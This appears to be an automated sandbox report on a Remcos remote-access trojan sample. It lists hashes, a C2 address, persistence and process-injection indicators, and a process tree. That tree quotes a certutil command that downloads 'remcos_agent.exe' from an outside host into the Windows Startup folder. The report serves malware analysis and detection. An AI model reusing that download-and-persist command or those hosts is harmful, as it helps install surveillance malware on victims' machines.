remcos | 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11

General

Target

51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe
Size

960KB
MD5

f66db43a97a69279f2e3bec3452ad56e
SHA1

c6875b26c29efda68fd2c180abe1efb477f43b5e
SHA256

51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11
SHA512

2d7a90249a0746358b8f9c711918e15a257dc07c655c0d5b30427e44e3a9afcdd9859ff62d7a15a31b22f1e64b7262747f1d47a62048f31de577ad0fc013874b

Score

10^/10

remcos rat

Family

remcos

C2

www.rmagent.biz:7181

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BluetoothApis.lnk	51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 752 set thread context of 1972	752	51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe	29

Suspicious behavior: EnumeratesProcesses 14 IoCs

Suspicious use of FindShellTrayWindow 3 IoCs

Suspicious use of SendNotifyMessage 3 IoCs

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1972	51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 752 wrote to memory of 1108	752	51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe	26
PID 752 wrote to memory of 1108	752	51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe	26
PID 752 wrote to memory of 1108	752	51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe	26
PID 752 wrote to memory of 1108	752	51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe	26
PID 1108 wrote to memory of 1980	1108	cmd.exe	28
PID 1108 wrote to memory of 1980	1108	cmd.exe	28
PID 1108 wrote to memory of 1980	1108	cmd.exe	28
PID 1108 wrote to memory of 1980	1108	cmd.exe	28
PID 752 wrote to memory of 1972	752	51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe	29
PID 752 wrote to memory of 1972	752	51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe	29
PID 752 wrote to memory of 1972	752	51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe	29
PID 752 wrote to memory of 1972	752	51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe	29
PID 752 wrote to memory of 1972	752	51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe	29
PID 752 wrote to memory of 1972	752	51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe	29

C:\Users\Admin\AppData\Local\Temp\51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe
"C:\Users\Admin\AppData\Local\Temp\51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe"
1⤵
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:752
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\startup.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1108
- - C:\Windows\SysWOW64\certutil.exe
    certutil.exe -urlcache -split -f "http://al-sharqgroup.com/remcos_agent.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yourfile.exe"
    3⤵
    PID:1980
- C:\Users\Admin\AppData\Local\Temp\51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe
  "C:\Users\Admin\AppData\Local\Temp\51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1972

memory/1608-5-0x000007FEF6350000-0x000007FEF65CA000-memory.dmp

Filesize
2.5MB

Download
memory/1972-3-0x0000000000080000-0x00000000000A0000-memory.dmp

Filesize
128KB

Download